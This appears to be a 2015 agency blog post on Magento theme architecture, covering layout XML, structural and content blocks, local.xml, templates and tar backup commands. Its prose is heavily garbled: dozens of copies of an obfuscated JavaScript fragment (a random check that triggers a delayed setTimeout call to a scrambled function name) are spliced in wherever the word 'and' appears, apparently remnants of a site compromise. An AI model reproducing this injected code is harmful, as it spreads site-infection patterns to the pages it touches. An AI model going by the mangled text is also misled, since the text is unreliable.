Contact us
0845 123 3700

The Dimasoft Blog

All the latest news and thoughts from the worlds of Design, Development and the Internet

< Back to Blogs

Magento Architecture

Understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anding the Magento Architecture is an important concept; whether installing a new Magento theme or creating one yourself, it will help you become a better developer andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and make Magento development much more enjoyable. Magento themes can be purchased directly from the Magento Connect marketplace; here you can also find hundreds of professional plugins often with descriptive andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and informative reviews saving you the need to develop a bespoke solution. When using Magento Connect it is incredibly easy to install themes andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and plugins can be installed at the click of a button. Over time however, the need may arise to alter existing code or to create your own.

Prior to any development work on Magento it is recommended that you back up your website. You can use the following commandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and to easily backup your website if you have SSH access to your server. This commandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and will back up everything in your current directory into tar format.

tar –czf backup.tar ./*

You can exclude certain file files or entire directories using the exclude flag.

tar –czf backup.tar ./* --exclude=*.tar --exclude='var/session' --exclude='var/cache'

To untar this file (restore this backup)

tar –zxf backup.tar

 

Additionally, be sure not to overwrite any of the base template files (app/design/frontend/base), these files are reserved for fall-back purposes such as when a file does not exist in your current theme. To modify a file, copy it from the base theme into your current theme if it doesn’t already exist.

Themes

If installing multiple new themes (e.g. when setting up multiple stores) it may be beneficial to create a new package. To do this, navigate to the app/design/frontend directory. This will help you organise your files more effectively. Otherwise it may be easier to simple install your new theme into your default package (which if your just starting off will be entitled default). After installing a theme or making code changes to an existing theme, be sure to flush the Magento caches under System > Cache Management. If using external caching services, such as APC, be sure to flush these as well if changes aren’t visible straight away.

one

 

Layout

The layout files of a theme tell Magento what blocks need to be loaded on a page, think of them as a set of instructions detailing where structural andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and content blocks should be located andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and what these content blocks will contain e.g. Javascript, CSS files. Layout files are stored as XML code andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and can be located in: app/design/frontend/package/theme/layout.

Structural Blocks

Structural blocks are the backbone of any Magento webpage, they are the main building blocks of Magento andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it is within these structural blocks that the smaller content blocks are held andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and fitted into the Magento architecture.

Examples of the default structural blocks:

  • Header
  • Left
  • Content
  • Right

two

 

In essence, you can have any amount of structural blocks on a page, though a large amount of structural blocks is discouraged andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and is not necessary. Structural blocks are defined within an XML file using:

<reference name=”{Structural_Block_Name}”>

Content Blocks

Contents blocks, as per its namesake, holds the content of the block, the type of content it holds is dependent on what is loaded into the block. For example, a CMS block that has been created in the Magento backend can be loaded into a block type.

<block type="cms/block" name=" cms-block-name ">

<action method="setBlockId"><block_id>cms-block-name</block_id></action>

</block>

Local.xml

The local.xml file is a special XML layout file that is reserved for adding custom code to alter the appearance of a site without needing to search the XML files for the corresponding block, providing this is kept sensible. It is a quick andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and easy way to deactivate blocks such as the default left.permanent.callout block, released with the native ‘Base’ Magento theme, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and can also make the site more upgrade-proof.

<remove name="left.permanent.callout" />

Template

The template directory contains .PHTML files which are a combination of .PHP andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and .HTML files (.PHTML used as a formality over .PHP within the template directory). This is where most of the content to be displayed on a page is added andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and modified.

 

Implementing a new theme

To add a new theme, log into the Magneto backend, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and click on System/Configuration/Design

The Current Package Name is the name of the package that contains the theme e.g. Base, Default or any cutom package that you have created.

The proceeding ‘Themes’ settings can be populated with the name of your theme (see screenshot below).

three

 

Tuesday, August 25th, 2015 by admin Development, Magento

Leave a Reply